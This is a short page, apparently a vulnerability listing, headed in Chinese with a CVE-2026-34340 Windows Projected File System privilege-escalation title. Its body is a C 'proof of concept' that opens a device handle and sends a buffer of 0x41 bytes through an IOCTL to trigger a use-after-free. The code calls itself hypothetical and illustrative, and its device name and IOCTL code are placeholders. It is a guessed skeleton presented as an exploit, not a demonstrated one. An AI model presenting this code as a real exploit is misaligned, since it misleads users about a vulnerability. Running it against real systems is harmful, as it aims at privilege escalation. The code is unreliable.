CVE-2026-34340 Windows Projected File System权限提升漏洞

#include <windows.h> #include <stdio.h> // Hypothetical PoC for CVE-2026-34340 int main() { HANDLE hDevice; DWORD bytesReturned; // Attempt to open the vulnerable driver hDevice = CreateFile(L"\\\\.\\ProjectedFS", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[+] Device handle opened.\n"); // Prepare malicious input buffer to trigger UAF BYTE buffer[0x200]; memset(buffer, 0x41, sizeof(buffer)); // Send IOCTL to trigger the vulnerability // Note: This IOCTL code is illustrative BOOL result = DeviceIoControl( hDevice, 0x222003, // Hypothetical IOCTL buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL ); if (result) { printf("[+] IOCTL sent successfully. Check for crash or privilege escalation.\n"); } else { printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; }